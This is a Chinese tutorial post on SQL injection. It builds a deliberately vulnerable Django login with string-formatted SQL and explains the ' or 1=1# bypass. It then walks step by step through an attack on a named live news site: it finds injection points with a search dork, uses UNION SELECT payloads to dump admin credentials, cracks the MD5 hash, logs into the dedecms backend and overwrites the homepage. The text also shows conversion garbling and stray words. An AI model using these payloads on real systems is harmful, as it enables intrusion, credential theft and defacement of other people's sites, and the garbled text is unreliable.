1、SQL注入攻擊
參考文章:原文點擊
sql做爲一種解釋型語言,在運行時是由一個運行時組件解釋語言代碼並執行其中包含的指令的語言。基於這種執行方式,產生了一系列叫作代碼注入(code injection)的漏洞 。它的數據實際上是由程序員編寫的代碼和用戶提交的數據共同組成的。程序員在web開發時,沒有過濾敏感字符,綁定變量,致使攻擊者能夠經過sql靈活多變的語法,構造精心巧妙的語句,不擇手段,達成目的,或者經過系統報錯,返回對本身有用的信息。
咱們在學JDBC和SQL時,講師跟咱們說 Statement不能防止SQL注入, PreparedStatement可以防止SQL注入. 沒錯, 這句話是沒有問題的, 但到底如何進行SQL注入?怎麼直觀的去了解SQL注入?這仍是須要花必定的時間去實驗的.預編譯語句java.sql.PreparedStatement ,擴展自 Statement,不但具備 Statement 的全部能力並且具備更強大的功能。不一樣的是,PreparedStatement 是在建立語句對象的同時給出要執行的sql語句。這樣,sql語句就會被系統進行預編譯,執行的速度會有所增長,尤爲是在執行大語句的時候,效果更加理想。並且PreparedStatement中綁定的sql語句是能夠帶參數的。php
2、構建SQL注入場景
注意:如下場景都不用ORM, Django orm 有防護sql 注入攻擊的功能
使用 pymysql 或構造執行原生 SQL語句html
前端:前端
<div>
<form action="test.html" method="post">
{% csrf_token %}
<input type="text" name="username"/>
<input type="password" name="pwd"/>
<input type="submit" value="提交"/>
<input type="reset" value="重置"/>
</form>
</div>
後端:java
#models.py數據庫 注意:表名爲 (app01_test) Django會自動在類名前加 app名下劃線做爲表名
class Test(models.Model):
id = models.AutoField(primary_key=True)
name = models.CharField(max_length=32)
pwd = models.CharField(max_length=64)
#views.py
import pymysql
def test(request, *args, **kwargs):
username = request.GET.get("username", None)
password = request.GET.get("pwd", None)
connect = pymysql.connect(host='127.0.0.1', port=3306, user='root', password='123456', db='test',charset='utf8' )
cursor = connect.cursor()
# 黑客可經過user或者password輸入數據庫語句對數據非法利用
sql_sel = " select * from app01_test where name='{0}' and pwd='{1}';".format(username, password)
ret = cursor.execute(sql_sel)
return render(request, 'test.html', {"objs": ret})
2.2 準備工做好了
- SQL注入
填好正確的用戶名和密碼後,點擊提交,返回測試界面。
由於根據咱們提交的用戶名和密碼被合成到SQL查詢語句當中以後是這樣的:
select * from app01_test where name='用戶名' and pwd='密碼';
很明顯,用戶名和密碼都和咱們以前給出的同樣,確定可以成功登錄。可是,若是咱們輸入一個錯誤的用戶名或密碼呢?很明顯,確定登入不了吧。恩,正常狀況下是如此,可是對於有SQL注入漏洞的網站來講,只要構造個特殊的「字符串」,照樣可以成功登陸。
好比:在用戶名輸入框中輸入:’or 1=1#,密碼隨便輸入,這時候的合成後的SQL查詢語句爲:
select * from app01_test where name='' or 1=1#' and pwd='';
語義分析:「#」在mysql中是註釋符,這樣井號後面的內容將被mysql視爲註釋內容,這樣就不會去執行了,換句話說,如下的兩句sql語句等價:
select * from app01_test where name='' or 1=1#' and pwd='';
等價於
select * from app01_test where name='' or 1=1
由於1=1永遠都是成立的,即where子句老是爲真,將該sql進一步簡化以後,等價以下select語句:
select * from app01_test
沒錯,該sql語句的做用是檢索users表中的全部字段
果不其然,咱們利用萬能語句(’or 1=1#)可以登陸!看到了吧,一個經構造後的sql語句竟有如此可怕的破壞力,相信你看到這後,開始對sql注入有了一個理性的認識了吧~
3、攻擊原理
正常登錄name框中填寫root,pwd爲123
上面sql_sel = " select * from app01_test where name='{0}' and pwd='{1}' 就至關於select * from app01_test where name=root and pwd=123 進行查詢
但
若是name框中填寫root or 1=1 #,pwd 隨便輸入
上面sql_sel = " select * from app01_test where name='{0}' and pwd='{1}'
就至關於select * from app01_test where name=root or 1=1 # and pwd=123 進行查詢
這裏的#至關於把後面的全部查詢包括password查詢給註釋,而且 or 1 = 1的查詢永遠是正確的,因此sql攻擊注入就完成了mysql
經過這樣的方式就繞過了密碼檢查
因此設計SQL語句時不建議這樣設計,或者對特殊字符 #、or、and 等作特殊處理程序員
4、實際操做
OK,前面鋪墊了那麼多,算是給你們科普了。如今咱們進行第二講,實戰演練。開始以前呢,有一個互動環節。如今請你們用本身的手機登陸 http://www.guoshang.tk 這個網址,簡單看下。待會等咱們注入攻擊以後,再次登陸,好對比效果,對於sql注入攻擊有一個更加直觀的認識。web
-(一)積極備戰
一、首先設置瀏覽器,工具--internet選項--安全--找到「顯示友好的http信息」,把前面的勾去掉;
二、打開谷歌,尋找注入點。爲了節省時間,這裏我已經事先找好目標點
http://www.guoshang.tk;
谷歌搜索小技巧:篩選關鍵字:"inurl:/news/read.php?id="算法
- (二)狼煙四起 一、咱們打開這個網址,一個新聞網站,,咱們點擊[百家爭鳴]板塊,這是一個國內外新聞速覽的欄目,好多時政的帖子,咱們點擊一個,OK,如今進入單個帖子界面,首先咱們看下當前帖子的URL地址, http://www.guoshang.tk/news/read.php?id=50 能夠看出這是一個動態URL,也就是說能夠在地址欄中傳參,這是SQL注入的基本條件。 二、判斷是否存在sql注入可能。在帖子地址後面空上一格,敲入 and 1=1 ,而後 and 1=2 。這兩句什麼意思呢? 一個恆等式,一個恆不等式,敲入 and 1=1 帖子返回正常, and 1=2 時帖子返回出錯,說明sql語句被執行,程序沒有對敏感字符進行過濾。如今咱們能夠肯定此處是一個SQL注入點,程序對帶入的參數沒有作任何處理,直接帶到數據庫的查詢語句中。能夠推斷出在訪問 http://www.guoshang.tk/news/read.php?id=50 時數據庫中執行的SQL語句大概是這樣的: Select * from [表名] where id=50 添加and 1=1後的SQL語句: Select * from [表名] where id=50 and 1=1 因爲條件and 1=1永遠爲真,因此返回的頁面和正常頁面是一致的 添加and 1=2後的SQL語句: Select * from [表名] where id=50 and 1=2 因爲條件1=2永遠爲假,因此返回的頁面和正常頁面不一致 三、爆數據庫。肯定注入點僅僅意味着開始。如今,咱們回到原先的帖子地址: http://www.guoshang.tk/news/read.php?id=50 如今要判斷數據庫類型以及版本,構造語句以下: http://www.guoshang.tk/news/read.php?id=50 and ord(mid(version(),1,1))>51 發現返回正常頁面,說明數據庫是mysql,而且版本大於4.0,支持union查詢,反之是4.0 如下版本或者其餘類型數據庫。 四、爆字段。接着咱們再構造以下語句來猜表中字段: 1) http://www.guoshang.tk/news/read.php?id=50 order by 10 返回錯誤頁面,說明字段小於10 2) http://www.guoshang.tk/news/read.php?id=50 order by 5 返回正常頁面,說明字段介於5和10之間 3) http://www.guoshang.tk/news/read.php?id=50 order by 7 返回錯誤頁面,說明字段大於5小於7,能夠判斷字段數是6.下面咱們再來確認一下 4) http://www.guoshang.tk/news/read.php?id=50 order by 6 返回正常頁面,說明字段確實是6這裏採用了「二分查找法」,這樣能夠減小判斷次數,節省時間。若是採用從order by 1依次增長數值的方法來判斷,須要7次才能夠肯定字段數,採用「二分查找法」只須要4次就夠。當字段數很大時,二分查找法的優點更加明顯,效率更高。 五、爆表.肯定字段以後如今咱們要構造聯合查詢語句(union select ),語句以下: http://www.guoshang.tk/news/read.php?id=50 and 1=2 union select 1,2,3,4,5,6 咱們來看帖子頁面,原先內容沒有了,取而代之的是返回給了咱們 三個數字,分別是3,5,6 咱們隨便選擇一個,這裏的3,5,6指的是咱們能夠把聯合查詢的對應位置替換爲 咱們想要查詢的關鍵字,好比版本,數據庫名稱,主要是用來探測web系統的信息。 六、爆用戶名、密碼。咱們選擇3 吧,OK,如今把3給替換掉,先查詢下數據庫庫名,構造語句以下 http://www.guoshang.tk/news/read.php?id=50 and 1=2 union select 1,2,database(),4,5,6 瀏覽器給咱們返回了 xinwen 。說明這個網站 的數據庫庫名是 xinwen . 如今咱們用一樣的手法查詢下 管理員信息 ,構造語句以下: http://www.guoshang.tk/news/read.php?id=50 and 1=2 union select 1,2,user(),4,5,6 返回 root@localhost ,是個管理員權限。 如今咱們再用一樣的手法查詢用戶名,密碼,構造語句以下: http://www.guoshang.tk/news/read.php?id=50 and 1=2 union select 1,2,username,4,5,6 from admin 返回 admin http://www.guoshang.tk/news/read.php?id=50 and 1=2 union select 1,2,password,4,5,6 from admin 返回 B2E5B76793EDA747382E81391AA3A400 七、md5解密。看到這裏,有的同窗可能會有點緊張。其實返回的這個是字符串密碼通過32位md5加密後的值。上次李翊大帝給咱們複習的時候 講過加密與解密。也稍稍提到了md5 摘要算法,不可逆。話雖如此,如今互聯網上crack md5 「解密」md5 的網站不少,這裏我給解密加了引號,是由於其「解密」原理是 md5 值既然不能進行 逆向破解,可是一樣的字符串通過一樣的md5加密算法所生成的md5值是同樣的,咱們能夠從新構造字符串生成md5值,而後對比兩個值,若是同樣則字符串同樣。有人說,這種方法豈不是海底撈針,試到猴年馬月去啊,其實否則,互聯網雲時代已經到來,大數據的信息挖掘以及分佈式運算能夠解決不少相似大運算量的問題。咱們如今就要來對這個md5值進行比對,有好多網站提供這種服務,咱們找一個。(http://www.md5.com.cn ) 這個網址,咱們把這個值複製進去,而後點擊「MD5 CRACK「,「解密」時間,視密碼複雜度而定,OK,結果出來,(chinaadmin) 八、登陸後臺。如今咱們已經拿到網站的管理員賬號密碼,感謝上帝,一帆風順,但還不能高興得太早。不少狀況是你雖然拿到了鑰匙,可是找不到門。下面咱們就來找一下門,找以前要有個基本思路: ①先試下幾個比較經常使用的目錄; ②不行的話,由於這個論壇程序是dedecms5.6 ,因此咱們就到 織夢官方,下載一套一樣程序, 分析網站管理路徑,或者直接百度「dedecms默認管理界面」便可,下載步驟可省略; ③手工不通,借力工具。明小子,啊D,御劍,均可以。 九、這裏咱們發現此網站依然採用程序默認管理路徑: http://www.guoshang.tk/dede 輸入用戶名 admin ,密碼 chinaadmin 成功登入。 接下來,咱們找到【核心】--【附件管理】--【文件式管理器】--這時咱們能夠看到網站根目錄下全部目錄以及文件,下標欄還有幾個功能選項,咱們能夠看到網站首頁文件【index.html】,點擊【修改】,進入網頁源代碼編輯模式,刪除全部源碼(這招有點毒,勸告別改人家的源碼,建議新建一個文件),留個言,表示到此一遊。